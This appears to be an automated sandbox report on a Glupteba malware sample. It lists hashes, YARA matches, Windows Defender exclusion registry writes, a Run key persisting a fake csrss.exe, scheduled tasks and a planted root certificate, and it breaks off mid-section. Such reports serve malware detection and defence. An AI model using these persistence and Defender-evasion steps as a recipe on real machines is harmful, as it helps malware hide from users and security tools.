Analysis
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max time kernel
148s -
max time network
161s -
platform
windows7_x64 -
resource
win7-20220718-en -
resource tags
arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system -
submitted
02-08-2022 03:19
Behavioral task
behavioral1
Sample
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
Resource
win7-20220718-en
General
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Target
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe
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Size
4.2MB
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MD5
d7b5c0dfacada838878509c0e797e38c
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SHA1
c03590cbfeba3f9820457e4ac083144896c7b4c6
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SHA256
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00
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SHA512
0af0b8fb10b7c9362b6dc47526cea53c5dcb1745d8eb10b8b89585c09a492c5860000b38ceb7807034b776bc6923302bc7f6167d8ee4f138e66c7ed097b62548
Malware Config
Signatures
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Glupteba payload 10 IoCs
Processes:
resource yara_rule behavioral1/memory/968-56-0x0000000005140000-0x0000000005836000-memory.dmp family_glupteba behavioral1/memory/968-57-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral1/memory/968-58-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral1/memory/968-59-0x0000000005140000-0x0000000005836000-memory.dmp family_glupteba behavioral1/memory/968-60-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral1/memory/1164-62-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral1/memory/1164-65-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral1/memory/1164-71-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral1/memory/2016-73-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba behavioral1/memory/2016-74-0x0000000000400000-0x0000000004B5B000-memory.dmp family_glupteba -
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\CoolSea = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 2016 csrss.exe 912 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Processes:
resource yara_rule behavioral1/memory/968-54-0x0000000000400000-0x0000000004B5B000-memory.dmp upx behavioral1/memory/1164-61-0x0000000000400000-0x0000000004B5B000-memory.dmp upx \Windows\rss\csrss.exe upx \Windows\rss\csrss.exe upx C:\Windows\rss\csrss.exe upx -
Loads dropped DLL 8 IoCs
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exepatch.exepid process 1164 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe 1164 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe 880 912 patch.exe 912 patch.exe 912 patch.exe 912 patch.exe 912 patch.exe -
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\CoolSea = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe = "0" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Windows\CurrentVersion\Run\CoolSea = "\"C:\\Windows\\rss\\csrss.exe\"" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 3 IoCs
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exemakecab.exedescription ioc process File opened for modification C:\Windows\rss 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe File created C:\Windows\rss\csrss.exe 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe File created C:\Windows\Logs\CBS\CbsPersist_20220802064903.cab makecab.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1916 schtasks.exe 1976 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exenetsh.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe -
Processes:
csrss.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exepid process 968 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe 1164 5a821f9282f6d079eeb89fda84f5cc1b6baa5e87e5bf04a9c5721863e6e23d00.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
